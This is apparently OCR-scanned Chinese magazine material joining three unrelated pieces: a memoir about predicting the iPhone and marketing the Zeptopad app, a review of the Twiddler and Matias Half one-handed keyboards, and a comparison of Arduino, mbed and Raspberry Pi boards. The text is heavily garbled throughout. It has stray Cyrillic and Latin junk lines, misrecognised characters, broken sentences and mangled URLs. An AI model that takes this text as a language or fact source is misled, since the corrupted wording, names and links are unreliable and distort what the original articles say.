记得 当时 我 做 出 的 预测 是 : 五 年 后 ， 电 脑 
将 实现 多 点 触 控 了 ， 作 为 电脑 的 延展 ， 手 机 也 
将 成 为 全 屏幕 多 点 触 控 。 而 且 顺 应 这 个 漳 流 ， 
开发 适合 多 点 触 控 的 新 操作 系统 ， 也 将 成 为 时 
代 的 必然 。 我 之 所 以 特别 加 上 这 一 点 ， 是 因为 
当时 还 没有 能 够 完美 地 适应 多 点 触 控 的 操作 
系统 。 

我 把 这 样 的 预测 写 和 人 了 提交 给 客户 的 报告 
F, 客户 看 了 非常 满意 ， 给 了 我 们 很 好 的 评价 。 
只 是 在 最 终 阶 段 , 我 的 预测 被 认为 缺乏 现实 性 ， 
而 未 被 采纳 ， 真 的 是 有 点 可 惜 。 在 这 份 报告 中 ， 
我 们 还 预测 了 将 会 有 眼镜 式 可 穿 带 式 终端 出 现 。 

虽说 结果 有 些 可 惜 ， 但 真正 让 我 大 吃 一 慰 
的 是 发 生 在 几 个 月 后 的 事情 。 那 一 天 ， 我 看 着 
电脑 屏 亲 ,不 由 地 叫 了 起 来 :“ 哇 ， 整 整 领先 
业界 五 年 啊 ! ” 令 我 如 此 兴奋 的 这 件 事 就 是 史 
лү Ж .乔布斯 在 2007 年 的 Macworld Expo 大 会 
上 上 发布 了 著名 的 iPhone。 

iPhone 人 秒 直 就 是 我 之 前 预测 的 五 年 后 的 手 
ДД! 

ыу p, Ж ГИЛЕ Г: Е А 
回 事 啊 ? 你 知道 苹果 公司 的 内 情 ? " RER 
番 ， 我 哪里 能 够 知道 呢 ! 我 又 不 是 苹 采 公司 的 
员工 。 因 为 在 当时 ， 除 了 乔布斯 和 他 的 手下 ， 
没有 人 相信 凭借 当 时 的 技术 可 以 创造 出 iPhone 


这 样 划 时 代 的 产品 。 


接触 双方 阵营 的 两 面 人 


于 iPhone 的 各 种 反应 ， 进 行 彻 底 且 全 面 的 预测 。 


到 了 2006 年 未 ， 客 户 正 好 交 给 了 我 一 个 


洛 户 很 快 就 下 达 了 新 的 任务 : BERE ALS 


E UAE —— 


和 我 们 接触 的 好 几 家 客户 公司 都 非常 想 知 
道 该 如 何 和 iPhone 对 抗 。 

由 此 ,我 便 立 志 成 为 最 了 解 iPhone 的 人 ， 
开始 彻底 地 研究 。 我 走 思 世界 ， 访 问 了 各 种 权 
威 人 物 ， 并 编写 成 调查 报告 。 这 些 调查 人 研究 费 
用 基本 上 由 客户 公司 全 额 提 供 。 在 这 个 研究 过 
程 中 ,我 们 还 制作 了 一 个 小 巧 而 有 趣 的 应 用 ， 
是 给 越狱 之 后 的 iPod 使 用 的 ， 算是 一 个 有 趣 的 
ааа 

与 此 同时 ， 我 们 也 接 到 了 来 自 苹 果 公 司 的 
邀请 。 原 来 ， 我 们 在 YouTube EF 3B Ec E Ek 
游戏 被 苹果 公司 的 人 注意 到 了 。 于 是 ， 我 们 成 
为 了 笠 采 的 第 三 方 协作 公司 ， 可 以 得 到 有 关 开 
发 的 种 种 信息 文 持 。 

这 样 ， 我 们 成 了 同时 接触 双方 阵营 的 “两 
ШЛ”, 一 边 和 苹果 协作 开发 应 用 ,一 边 还 承 
担 着 “把 苹果 视 为 假想 敌 ， 寻 找 可 以 击破 它 的 
弱点 ”的 任务 (当然 我 们 一 直 坚 守 商 业 道 德 ， 
从 未 违背 NDA 中 所 规定 的 内 容 )。 

通过 作为 苹果 的 第 三 方 协作 公司 所 得 到 的 
开发 信息 ,我 们 得 以 彻底 地 比较 了 iPhone 和 
其 他 操作 系统 的 差异 ， 并 列 出 了 详细 的 条 目 。 
iPhone 的 操作 系统 在 好 几 个 方面 都 非常 强大 ， 
和 那些 临时 拼凑 的 系统 完全 不 同 ，iPhone 的 操 
作 系 统 很 好 地 继承 了 Mac OS 久 经 考验 的 设计 
思想 。 尤 其 是 以 Core Animation 为 代表 的 技术 、 
实现 了 动画 的 美感 的 技术 ,以 及 集 秀 的 字体 ， 
iPhone 在 这 些 方 面 都 表现 得 出 类 拔 茶 ， 远 远 胜 
过 别 的 操作 系统 。 

那些 拼 拼 凑 凑 ， 未 经 过 深思 熟 虑 和 多 重 考 
验 的 手机 解决 方案 ， 至 少 在 完成 度 上 ， 是 无 法 
和 苹果 对 抗 的 。 包 括 当 时 只 有 B JUL] Android 
系统 在 内 ,世界 上 没有 任何 一 个 操作 系统 可 以 
fll iPhone 的 操作 系统 对 抗 ， 这 就 是 我 们 当时 得 
出 的 结论 。 


客户 看 完了 我 们 的 这 份 报告 后 ， 神 情 严 党 


V 


enchant ~ 激发 创造 力 的 魔法 ~ 


使 用 越狱 的 iPod 玩 近 蔷 减 开 上 友 的 多 人 对 战 乒 兵 球 游 
XE: http//www.youtube.com/watch?v-3LdpmxHE7VU 


试验 中 的 多 点 触 控 屏 


地 望 看 我 说 :“ 情 况 确实 如 您 所 言 ， 可 惜 我 们 
的 现状 是 既 没 有 时 间 从 头 创 造 操 作 系统 ， 也 没 
有 这 方面 的 资源 。” 

随 肴 多 数 的 客户 公司 决定 采用 Android 或 
者 Windows Ж 5] jt iPhone, 3 4|] B5 FR 48,16 13 
了 大 家 的 视线 。 


[| 


为 了 收集 iPhone 的 相关 信息 ， 我 感到 尽快 
收集 海外 的 信息 是 非常 必要 的 。 同 时 ， 从 公司 
业务 的 角度 来 说 ， 我 们 也 有 意 扩 大 面 癌 记 hone 
的 应 用 市 场 。 为 了 在 国内 苋 争 激烈 的 Phone 应 
用 市 场 脱 颖 而 出 ， 我 们 也 需要 随时 跟踪 北美 的 
市 场 动态 。 为 此 ， 我 们 很 希望 得 到 那些 鲜 活 的 

Ho 

УГА Y REESE ЕН) АЇП ЕНДА 6 
什么 样 的 新 闻 ， 以 及 他 们 平常 都 关心 和 思考 些 
fr^, RARER wr] <l лы EH. 


d =‘ 

* < 
CN 
-— 


日 译 天 的 工作 。 这 个 部 门 的 名 称 就 叫 作 “战略 
信息 组 ”， 人 简称 SIG。 

ЧТ I AAKER n ЕЕ 7 SIG T. 
作 ， 而 是 聘用 了 多 名 兼职 的 大 学 生 ， 因 为 我 觉 
得 这 样 可 以 得 到 更 加 多 种 多 样 的 信息 。20 名 左 
有 四 相遇 大全 下 
下 午 一 人 ， 工 作 就 是 翻译 海外 的 日 党 新 闻 。 

这 些 兼 职 的 大 学 生 中 有 一 位 特别 引 人 注 目 ， 
她 就 是 过 秀美 。 

在 UEI 公 司 的 各 种 试验 中 ， 她 的 表现 都 很 
优异 。 她 的 翻译 质量 优秀 ， 而 且 译文 非常 有 趣 。 
+ ij 22, AFER. Лор] 
事 们 聊天 。 

ШУ ГЛАН ВЕНА, el E 
学 了 。 正 好 此 时 ，iPhone 在 日 本 开始 销售 了 ， 
App Store 也 正式 上 线 , 整个 日 本 开始 为 之 狗 狂 。 

为 了 尽快 掌握 海外 iPhone 市 场 的 动 癌 ， 我 
决定 去 参展 在 巴黎 举办 的 AppleExpo。 这 是 我 
们 UEI 公 司 第 一 次 单独 参展 ， 而 且 公 司 里 面 精 
通 英 语 的 人 才 不 够 。 这 时 ， 我 突然 想到 了 正好 
在 欧洲 留学 的 坟 秀 美 。 

和 和 在 目 本 的 时 候 完 全 不 同 ,， 73 5. 217 
成 了 一 个 侃侃 而 谈 的 人 人 了。 在 她 的 帮助 下 ， 我 
们 在 巴黎 的 参展 顺利 完成 。 半 年 后 ， 苹 采 在 美 
国 本 土 的 旧金山 举行 了 Macworld Expo, 我 又 
一 次 把 远 在 英国 的 过 召唤 了 回来 。 


О, Whiteboardin your pocket 


Zeptopad ERM HEHA Ër BJ [UN ^ m, Ж 
于 记事 本 类 的 应 用 。Zeptopad 别 具 一 格 的 地 方 
在 于 可 以 通过 两 根 手 指 目 由 地 进行 扩大 、 旋 转 、 
缩小 的 操作 ， 而 且 还 能 操作 滚动 条 。 用 户 只 需 
通过 手指 ， 就 可 以 方便 地 俯 膨 全 局 ,或 者 将 细 
微 之 处 放大 观察 ， 就 如 同 观看 一 张 巨大 的 图 纸 
2 3 

对 于 这 个 应 用 ， 该 如 何 用 一 句 宣 传 语 来 概 
后 说明 呢 ? 一 开始 还 其 把 我 们 难 住 了 。 我 们 劳 


力 向 参观 者 介绍 ， 可 还 是 难以 达到 气息 相通 的 
感觉 。 正 当 我 们 着 急 的 时 候 ， 突 然 听 到 一 位 参 
观 者 僻 有 兴趣 地 说 :“ 这 个 应 用 ， 就 是 小 白板 
IE? ”真是 一 语 司 醒 梦 中 人 啊 ， 我 们 悦 然 大 悟 ， 
原来 如 此 ! 

a 
了 一 块 小 白板 。 她 充满 自信 地 问 我 们 微微 点 洋 
致意 ， 然 后 站 在 我 们 的 展台 前 面 ， 向 穿行 的 参 
观 者 们 打 起 了 招呼 。 

"aU. s (j Ipin " 

“很 喜欢 啊 ! ”居然 有 人 回应 了 ， 而 且 好 
奇 地 停 下 了 脚步 。 

“不 管 您 多 么 喜欢 自 板 ， 您 可 以 把 它 放 到 
+17? " 

过 秀美 说 着 ， 还 故意 装 作 要 把 白板 塞 人 和牛 
仔裤 的 口袋 里 ， 引 得 大 家 哈哈 大 笑 。 

“不 过 ， 如 果 您 有 了 这 款 应 用 ,那么 就 可 
以 和 心爱 的 白板 永远 在 一 起 啦 ! ” 

“Whiteboard in your pocket” 这 个 宣传 语 ， 
MXF HEE T o 

也 不 知道 是 否 和 这 个 宣传 语 有 关 ， 我 们 的 


应 用 Zeptopad 在 北美 销售 得 非常 火爆 。 


Ou: 


这 次 参展 结束 后 没 多 入， 过 秀 类 的 留学 生 
活 也 结束 了 。 她 回 到 东 系 后 立刻 恢复 了 在 UEI 
WERTE An Bump T — ul ERBJAETL, 
那 就 是 喜欢 和 同事 交往 了 ， 大 家 在 一 起 说 说 笑 
A. 气氛 非 第 融洽 。 

有 一 天 ， 过 秀美 跟 我 说 有 比较 重要 的 事情 
想 和 我 谈 。 因 为 这 是 她 头 一 次 主动 找 我 谈 事情 ， 
所 以 我 就 非常 认真 地 听 她 说 了 。 

过 秀美 说 教授 帮 她 介绍 了 一 个 高 中 老师 的 
工作 。 做 老师 一 下 是 她 的 梦想 ， 只 是 目前 还 只 
能 担当 鳞 诛 老师 ， 所 以 她 问 我 在 没有 读 的 时 候 
是 否 还 可 以 来 继续 莱 职 。 


“是 这 样 啊 ， 插 好 的 。” 我 礼貌 性 地 回答 了 


` 


! nay 
把 昌 板 的 一 角 塞 入 牛仔 裤 的 口袋 的 坟 秀 美 ,正在 旧 金 
山 的 街头 宣传 我 们 的 产品 


一 句 。 接 着 正 准备 说 :“ 继 续 兼 职 , 当然 可 以 啦 ! ” 
可 是 话 到 嘴 边 ,我 又 咽 了 下 去 。 

寺 秀 美 如 采 一 边 担 当 兼 课 老 师 ， 一 边 兼 职 
我 们 UEI 的 工作 ， 这 样 一 心 两 用 的 话 ， 对 她 的 
前 途 真 的 好 吗 ? 

我 在 心中 细 细 思量 ,然后 说 :“ 两 边 同 时 
做 的 话 ， 可 能 两 边 都 做 不 好 啊 。 我 觉得 你 应 该 
i И 

接着 ， 我 继续 说 。 

"Jue e AU sm, ВЕНЕ Е, 
充其量 一 年 也 就 300 人， 工作 30 年 ,一共 9000 
人 ,你 会 对 这 9000 个 学 生 的 人 生产 生 影 啊 。 
而 如 果 你 全 力 投 入 软件 行业 的 话 ， 那 么 可 以 影 
响 到 的 人 将 是 当 老 师 的 数 百 倍 、 数 千 倍 。 请 加 
入 我 们 吧 ， 我 们 可 以 让 你 领略 到 当 老 师 所 看 不 
到 的 景色 。 

我 向 过 秀美 提出 了 在 UEI 全 职工 作 的 的 正 
式 邀 请 。 

直 秀 美 是 位 内 回 的 姑娘 ， 她 是 否 可 以 放弃 
已 经 内 定 的 老师 工作 ， 并 日 愿意 来 到 UEI 全 职 
T АЗЕ Л 1А лч: 
秀美 有 着 UEI 所 需要 的 能 力 和 素质 ， 实 在 舍 不 
得 她 离开 。 

JUXzUnm, ЭЖЕШ T YePE, BRI 
内 定 的 老师 的 工作 ， 并 表示 愿意 加 入 UEI。 


爱 它 不 需要 理由 
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单 手 也 能 输入 


Twiddler & 
Matias Half Keyboard 


引子 


这 次 我 们 将 回 大 家 介绍 可 
以 单 手 操作 的 键盘 Twiddler 以 
及 Matias Half Keyboard, A^ 
它们 都 有 着 很 特别 的 形状 ， 但 
并 不 需要 特别 的 软件 驱动 ， 操 
作 系 统 可 以 直接 将 它们 识别 为 
普通 的 键盘 。 


Twiddler 2.1 


Twit er21 是 由 TelG ear. 
Inc 公 司 人 研发 并 销售 的 一 球 单 
FER. 


BRERA F ООСН & 


。 左 右手 都 可 使 用 
。 配 备 了 鼠标 的 功能 


使 用 键盘 附 市 的 手 市 ， 可 
以 将 手 固定 住 ( 照 片 1)。 这 个 
手 带 也 可 以 取 下 ， 可 以 左右 手 
交 蔡 使 用 。 文 字 输 入 也 并 不 困 
难 。 键 盘 前 方 共 有 3x4， 共 


Га 9 уу p A E73 


12 个 按钮 (照片 2 )， 通 过 它们 
之 间 的 组 合 来 进行 输入 。 不 进 
行 任何 组 合 ， 直 接 按 下 按键 的 
话 ， 可 以 直接 输入 按键 上 印刷 
的 字母 。 在 进行 组 合 输入 的 时 
候 ， 首 先 按 住 最 上 方 的 任意 一 
个 按键 不 松 开 ， 然 后 再 按 下 下 
方 的 按键 即 可 。 最 上 方 的 按键 
分 别 表 示 红 、 绿 、 蓝 三 种 颜色 ， 
下 方 按键 的 旁边 印 有 这 三 种 颜 
色 的 字母 ， 根 据 被 按 下 的 最 上 
方 的 按键 所 表示 的 颜色 ， 可 输 
入 相应 颜色 的 字母 。 例 如 ， 同 
时 按 下 按键 入 (绿色 ) 和 按键 
B 就 可 以 输入 “加 ”。 

Ctrl). (Alt), (Shift) 这 样 的 功 
能 键 被 放置 在 了 键盘 的 背面 ( 照 
片 3 )。 


图 片 2 Twiddler 2.1 正 面 的 按钮 


EAN dd Le 


图 片 1 Twiddler 2.1 


Twiddler 同时 也 配 有 上 鼠标 
的 功能 。 触 控 杆 在 设备 的 背面 ， 
通过 触 碰 它 ， 就 可 以 移动 鼠标 
НЕГ РАКЕЛ, min A 
进入 鼠标 模式 。 在 鼠标 模式 下 ， 
设备 前 面 最 上 方 的 三 个 按键 ， 
分 别 相当 于 鼠标 右键 、 鼠 标 中 
键 以 及 鼠标 左 键 。 可 惜 的 是 ， 
并 没有 滚轮 的 功能 。 

Twiddler 配 备 了 一 定 的 编 
程 功能 ， 可 以 自由 地 设 定 按键 
映射 以 及 鼠标 加 速度 。 编 程 功 
能 还 有 一 些 特别 。 在 保持 按 下 
任意 按钮 的 情况 下 ， 将 键盘 捅 
入 PC 后 ，Twiddler 将 被 识别 为 
USB 存 储 设备 。 通 过 在 该 存储 
中 放置 使 用 专门 工具 生成 的 配 
置 文件 ， 可 以 进行 按键 映射 等 


图 片 3 Twiddler 2.1 (#51) 


vol.5 Twiddler & Matias Half Keyboard 


1 Twiddler 2.1 的 配置 工具 


的 修改 (图 1)。 

除了 配置 工具 外 ，Twiddler 
中 还 配备 了 学 习 按 键 操作 的 练 
JILAR(E2).HTixSSLR 
都 是 采用 Java 开 发 的 ， 所 以 在 
任何 操作 系统 下 都 可 以 使 用 。 

另外 , 在 Twiddler 的 Twitter 
账号 (@Handkey ) 里 可 以 看 
到 ，Twiddler 3 的 研发 也 在 计 
划 中 。Twiddler 3 好 像 将 要 变 
成 一 款 采 用 Bluetooth 技 术 的 


o 购买 方法 


在 Twiddler 的 网 站 点 击 Buy 
Now， 就 会 进入 相应 的 网 购 站 
E 9. 价格 是 19 美元 。 根 据 
站 点 的 说 明 ， 现 在 也 可 以 邮寄 
到 中 国 了 。 笔 者 是 通过 代购 购 
人 人 的。 在 中 国境 内 好 像 还 没有 
出 售 该 球 键 盘 的 代理 店 。 


Matias Half 
Keyboard 


Matias Half Keyboard 是 
Matias 公司 出 售 的 一 球 单 手 键 
T (ha Jr 4). 


ла РА, 
它 有 如 下 特点 。 


。 外 形 如 半 个 Qwerty 键盘 
。 通 过 与 键 组 合 进 
行 输入 


VERE EHI P JE EGER E 
通 的 Qwerty 键盘 的 左 半 部 分 。 
基本 上 来 说 ， 输 入 主要 采用 与 
键 组 合 的 方式 。 在 不 按 
T 键 的 情况 下 进行 输入 
的 时 候 ， 将 会 直接 输入 键盘 上 
印刷 的 字母 。 在 按 下 HË 
的 同时 进行 输入 的 话 ， 则 会 输 
入 普通 Qwerty 键盘 的 右 半 边 
的 字母 。 

另外 , 键盘 的 右上 角 有 
一 个 可 以 更 换 键 盘 模 式 的 A-Z 
键 。 通 过 多 次 按 下 这 个 按键 ， 
可 以 在 键盘 的 多 个 模式 中 进行 
切换 。 按 一 次 将 进入 普通 的 按 
刍 输 入 模式 。 按 两 次 将 进入 数 
字 输 入 模式 。 按 三 次 将 进入 可 
VA 5i АЛ [8] 6 3 CD) ES CO LE 


(2) Linux 系 统 下 当然 也 没 问 题 。 
(3) http://www.handykey.com 
@) http://www.matias.ca/halfkeyboard/ 


© http://www.frogpad.com/ 


QD 配置 工具 可 以 在 http://handykey.com/support.html 下 载 。 


© 由 于 需要 提前 一 年 预定 ， 所 以 要 做 好 长 时 间 等 待 的 准备 。 


图 片 4 


式 。 按 四 次 则 可 以 输入 功能 
键 。 在 想 要 输入 符号 的 时 候 ， 
Ht TE WK 键 ， 之 后 就 可 
以 输入 按键 上 所 印刷 的 相应 符 
= Í. 在 http://www.matias.ca/ 
halfk yboard d mo 可 以 看 到 官 
方 的 输入 例子 。 

符号 和 功能 键 的 输入 多 少 
ха у, (Н НАЧ 
字母 的 输入 还 是 十 分 简单 的 。 


o 购买 方法 


VE BE d n] LATE Matias 公 
司 的 网 站 “购买 。 可 以 使 用 信 
ДЕЧ, 也 可 以 邮寄 至 中 国 。 
价格 高 达 595 美 元 。 偶 尔 也 可 
以 在 eBay 这 样 的 拍卖 网 站 看 
到 。 拍 卖 网 站 的 价格 各 不 相同 ， 
不 过 大 部 分 都 在 300 美 元 左右 。 


° + 9 


除了 以 上 两 样 产品 外 ， 
单 手 键盘 还 有 许多 不 同 的 类 
型 。 例 如 FrogPad 和 Maltron 
的 单 手 键盘 也 十 分 有 名 。 特 
别 是 FrogPad， 除 了 USB 接 口 
的 版 本 ,还 有 Bluetooth 的 版 
本 ， 有 很 高 的 人 气 。 现 在 虽然 
FrogPad 没 有 在 出 售 新 商品 ， 
但 是 FrogPad2 下 在 Pre-Order 
中 “。 感 兴趣 的 朋友 可 以 自行 
Vila] FrogPad 的 网 站 È, 


Matias Half Keyboard 
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yr HJ 9 18 Z À [n] 21] Arduino 和 mbed， 以 
№ 5 Raspberry Pi 之 间 的 差别 。 虽 然 这 个 连载 
在 开始 后 也 不 断 地 介绍 了 Arduino、Netduino、 
mbed 等 微型 计算 机 主板 的 相关 知识 ,但 现状 
和 当时 有 一 些 变化 ,所 以 我 们 还 是 从 头 看 一 
PIE, 

这 里 我 们 将 市 场 上 现 有 的 微型 计算 机 主板 
粗略 地 分 为 三 种 ，@8 位 微型 计算 机 的 主板 、 
信 32 位 微型 计算 机 的 主板 、 全 运行 Unix WE 
板 。 接 下 来 我 们 将 依次 了 解 一 下 这 三 个 分 类 以 
及 分 别 属于 他 们 的 控制 平台 。 


首先 从 @ 8 位 微型 计算 机 的 主板 开始 介绍 。 
说 到 8 位 微型 计算 机 的 主板 ,， 最 有 名 的 应 该 当 
属 Ardi no^ (照片 1) 了 。Ardi no 搭载 了 Atmel 
公司 的 AVR 系 列 的 8 位 处 理 器 。 当 然 , 在 
Ardi no 出 现 之 前 就 已 经 有 大 量 的 微型 计算 机 
主板 面世 了 。 当 时 Ardi no 的 创始 人 Massimo 
Banzi 负 责 把 设计 和 技术 融合 在 一 起 的 交互 设 
计 的 教学 ， 由 于 发 现 没 有 什么 工具 可 以 简单 地 
制作 出 原型 ， 于 是 就 自己 打造 了 Arduino。 


(D http://wwww.arduino.cc/ 


Arduino 的 特点 是 ， 同 从 前 没有 使 用 过 微 
型 计算 机 主板 的 人 传递 了 微型 计算 机 主板 的 
概念 。 

Arduino 使 用 专门 的 开发 环境 进行 开发 。 
IDE 也 被 叫 为 “Arduino”, 但 这 样 比较 容易 引 
起 混 消 ， 所 以 本 连载 中 就 称 IDE 为 “Arduino 
IDE”。 官方 网 站 上 提供 了 可 在 Windows、 
Mac、Linux 下 运行 的 Arduino IDE 的 二 进 制 文 
f. 并 且 是 一 个 开源 软件 。Arduino IDE 的 编 
译 需 使 用 了 avr-gcc， 用 户 界 面部 分 是 用 Java 
实现 的 。 使 用 gcc 编 译 而 成 的 二 进 制 文件 ， 经 
由 UART( 或 者 称 为 串 行 传输 ) 从 电脑 传送 到 主 
板 上 。 

使 用 Ardi no 最 大 的 便利 之 处 是 社区 的 庞 
大 。 本 杂志 的 读者 可 能 不 太 担 心 编码 的 事 ,， 但 
大 部 分 的 人 可 能 还 不 太 熟 悉 人 硬件 。 这 些 人 在 使 


а 1 


f£ Arduino 上 连接 了 液晶 屏 的 例子 


用 微型 计算 机 驱动 发 动机 时 ， 使 用 Ardi no 是 
最 容易 通过 Web 搜索 来 收集 信息 的 了 。 而 且 日 


文 的 信息 也 很 多 ， 对 于 阅读 英语 有 困难 的 人 来 
说 很 有 亲和力 。 还 有 它 也 是 相关 书籍 最 多 的 主板 。 

相反 ，Arduino 的 缺点 就 是 8 位 。 到 底 是 一 
个 古老 的 8 位 架构 ， 内 存 也 不 太 充 足 ，TCP/IP 
也 不 是 原生 能 使 用 的 ，USB 接口 等 也 需要 通过 
使 用 被 称 为 sheild 的 扩展 板 来 实现 。 虽 然 大 部 
分 的 事情 都 能 处 理 ， 但 想 要 操作 如 今 的 以 太 网 
和 USB 接 口 的 时 候 ， 就 会 感受 到 Arduino 的 不 
足 。 但 男 一 方面 ， 如 果 只 是 做 一 个 小 东西 的 话 ， 
8 位 的 微型 计算 机 的 处 理 能 力也 足够 了 。 

另外 ，Arduino 中 输入 输出 电压 的 主流 是 
5V。 最 近 的 传 感 带 的 电压 很 多 都 是 3.3V， 如 
果 要 和 Arduino 连接 的 话 ， 就 需要 转换 到 3.3V， 
偶尔 会 觉得 有 点 麻烦 ， 并 且 Arduino IDE 没 有 
调试 功能 ; 耕 要 调试 的 话 ， 就 需要 使 用 printf 
通过 串 行 通信 和 输出 字符 串 来 完成 。 

虽然 现在 已 经 有 使 用 32 位 处 理 器 ， 文 持 
3.3V 电 压 的 Arduino DUE 面 世 了 ， 可 是 目前 还 
没有 普及 开 来 ， 所 以 还 是 经 常会 感受 到 上 述 几 
点 不 便 。 

顺便 提 一 下 ， 在 8 位 的 微型 计算 机 中 ， 现 
在 用 户 较 多 的 还 有 Microchip Technology 公司 
出 品 的 PIC 系 列 。 由 于 PIC 能 做 的 事 AVR 几乎 
都 能 实现 ， 所 以 笔者 没有 使 用 过 PIC。 


接着 介绍 一 下 全 32 位 微型 计算 机 的 主板 。 


32 位 微型 计算 机 里 用 户 最 多 的 应 该 是 mbed2 (HE 
片 2 )。mbed 最 近 升 级 到 了 mbed 2.0, 它 是 由 和 售 


(2) http://mbed.org/ 


卖 CPU 设 计 图 给 半导体 制造 商 的 ARM 推 进 的 
m Ho Chris Styles 在 进入 ARM ГЕШ, 3L C. 
经 开始 摸索 “让 学 生 能 使 用 微型 计算 机 的 方法 ”。 
后 来 Chris 开始 在 ARM 工 作 ， 并 在 公司 内 成 功 
找到 了 合作 者 ， 完 成 了 mbed 的 人 研发 。 

mbed 的 特征 无 疑 是 能 使 用 Web 浏 览 句 进 
行 开 发 工作 。 只 需 把 编译 完成 的 二 进 制 文件 ， 
拖 放 到 在 电脑 上 显示 为 USB Flash 的 mbed tF, 
就 完成 了 写 人 工作 。 这 个 Web 服 务 (一 般 称 为 
在 线 编译 硕 ) 使 用 了 名 为 RVDS 4.1 的 能 生成 
高 效 二 进 制 文件 的 昂贵 的 编译 需 。 比 起 使 用 
ARM 的 gcc 生 成 的 二 进 制 文件 , 通过 RVDS 4.1 
生成 的 二 进 制 文件 更 小 ， 运 行 速度 也 更 快 。 

mbed 的 网 站 结合 了 SNS 类 型 的 用 户 社 区 
功能 ， 可 以 方便 地 把 其 他 人 写 的 代码 和 库 导 入 
自己 的 IDE 中 ,并且 在 线 编译 器 还 带 有 版 本 管 
理 功能 。 使 用 社区 功能 公开 自己 编写 的 代码 
后 ， 可 能 就 会 有 别 的 用 户 一 起 参与 进来 。 要 说 
这 个 社区 的 不 足 之 处 ， 那 就 是 虽然 能 找到 不 少 
正在 进行 有 趣 项 目的 日 本 人 ， 但 日 语文 档 仍然 
比较 少 。 话 虽 如 此 , 在 日 本 mbeb 的 用 户 社区 
还 是 比较 活跃 的 ， 偶 尔 还 会 举办 mbed 大 会 这 


v R2 通过 mpbed 进 行 HTTP 通 信 并 显示 到 液 
晶 屏 的 例子 
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样 的 线 下 活动 。 同 样 Arduino 也 有 类 似 的 活动 ， 
但 差异 在 于 作为 ARM 和 mbed 的 主要 合作 方 的 
NXP 日 本 法 人 也 都 会 参加 mbed 大 会 。 

笔者 开始 使 用 mbed 的 契机 ， 就 是 因为 想 
快 点 连 上 TCP/PP 了 网 络 。 mbed 虽 然 比 Arduino 贵 ， 
但 比 起 配 齐 Arduino 和 以 太 网 扩展 板 ， 价 格 还 
是 要 便宜 一 些 ， 性 能 也 更 好 。 比 如 在 为 了 实现 


HTTP 通 信 而 分 配 数组 等 的 时 候 ，Arduino 就 会 
为 内 存 比较 小 而 比较 琼 手 ， 而 mbed 相 比较 
来 说 就 稍微 宽裕 一 些 。 

mbed 的 输入 输出 电压 都 是 3.3V。 在 介绍 
Arduino 的 部 分 中 已 经 写 到 ， 最 近 的 传感器 等 
设备 大 部 分 都 是 3.3V， 所 以 在 使 用 mbed 的 情 
况 下 ， 就 不 需要 像 Arduino 那 样 使 用 大 量 的 周 
边 零 件 ， 也 能 很 方便 地 连接 设备 。 

虽然 在 在 线 编译 器 尚未 实现 调试 功能 ， 但 
可 以 使 用 名 为 MDK-ARM 的 线 下 工具 (安装 在 
电脑 上 的 开发 环境 ) 来 进行 调试 。 另 外 还 可 以 
设 定单 步 执 行 和 断 点 等 ， 并 且 可 以 查看 寄存 央 
的 值 。 不 习惯 使 用 微型 计算 机 的 人 可 以 方便 地 
使 用 在 线 编译 器 ， 追 求 更 多 功能 的 人 可 以 使 用 
离线 编译 器 ， 可 供 选 择 的 范围 大 也 是 它 的 一 大 
魅力 。 

笔者 个 人 非常 喜欢 mbed， 甚 至 会 去 上 面 
提 到 的 mbed 大 会 帮忙 ， 几 乎 想不到 mbed 的 缺 
点 。 如 果 一 定 要 提 一 个 的 话 ， 就 是 mbed 不 能 
像 下 面 介 绍 的 运行 Unix 的 微型 计算 机 那样 轻 
松 地 使 用 脚本 语言 进行 开发 。 

除 mbed 外 ，Netduino 也 属于 这 一 类 。 
Netduino 可 以 使 用 Visual Studio 和 C# 开 发 ， 同 
时 也 提供 了 调试 功能 。 但 从 日 本 国内 的 用 户 数 
来 看 ， 普 及 度 尚 不 如 mbed。 


Raspberry Pi 


最 后 介绍 @ 运 行 Unix 的 主板 。Raspberry 
Pi? (照片 3 ) 也 如 mbed 一 样 搭载 了 32 位 微型 
计算 机 。 Raspberry Pi 和 mbed 的 CPU 的 最 大 
区 别 在 于 是 否 有 MMU (内 存 管理 单元 )。 如 今 
的 Unix 的 内 核 都 是 以 MMU 的 存在 为 前 提 的 ， 
Linux 只 能 在 有 MMU fij Raspberry Pi 类 型 的 主 
板 上 运行 (虽然 也 有 能 在 没有 MMU 的 环境 下 
运行 的 Linux 实 现 方法 ， 但 那 种 情况 较为 复杂 ， 
这 里 就 不 再 介绍 了 )。 

Raspberry Pi 是 树 每 派 基 金 会 HJ Eben 
Upton 在 剑桥 大 学 执教 时 制作 的 。 当 时 Eben 
Upton 感 觉 到 希望 从 事 计 算 机 科学 的 高 中 生 在 
逐渐 减少 ， 并 且 学 生 入 学 时 的 能 力也 有 所 下 降 ， 
就 希望 日 己 制作 一 个 低 价 的 能 帮助 学 生 学 习 编 
程 的 电脑 ， 于 是 就 制作 了 Raspberry Pi. 

由 于 运行 的 Unix 是 本 杂志 的 读者 很 熟悉 的 
环境 ， 所 以 开发 也 很 方便 。 在 Raspberry Pi 上 
既 可 以 使 用 Python、Ruby 开 发 ， 也 可 以 使 用 
shell 脚 本 或 C/C++ 进行 开发 。Arduino 和 mbed 
上 的 VO 操作 也 可 以 通过 Linux 的 磁盘 文件 进 
行 。 解 释 器 和 编译 器 可 以 根据 自己 的 喜好 选择 


(3) http://www.raspberrypi.org/ 


уна 3 iBi Raspberry Pi 使 LED 闪烁 的 例子 


合适 的 类 型 ， 而 且 不 用 考虑 Unix 所 需要 的 库 、 
USB 和 TCP/IP 协 议 栈 等 。 

Raspberry Pi 的 面世 也 是 最 近 的 事 ， 所 以 
关于 连接 Raspberry Pi 的 传感器 等 设备 的 信息 
还 比较 少 。 对 电子 工作 的 初学 者 来 说 ， 使 用 
Raspberry Pi 的 硬件 应 该 是 至 今 所 介绍 到 的 内 
容 中 难度 最 高 的 。Raspberry Pi 方面 也 存在 相 
关 的 中 文 论坛 ”及 人 门 书 ， 有 兴趣 的 读者 可 以 
参考 。 

Raspberry Pi 的 输入 输出 电压 也 是 3.3V， 
与 mbed 一 样 可 直接 连接 的 设备 有 很 多 。 但 和 
前 面 两 种 主板 不 同 的 是 ，Raspberry Pi 没有 模 
拟 信 号 输入 ， 因 此 当 需 要 使 用 模拟 传感器 ( 通 
过 电压 的 大 小 返回 检测 结果 的 类 型 ) 来 读 取 电 
压 的 时 候 ， 就 需要 在 Raspberry PE 上 连接 AD 
转换 器 这 样 的 设备 。 

在 笔者 看 来 ，Raspberry Pi 的 缺点 是 主板 
较 大 、 电 力 消耗 较 大 和 制作 兼容 机 的 难度 较 大 。 
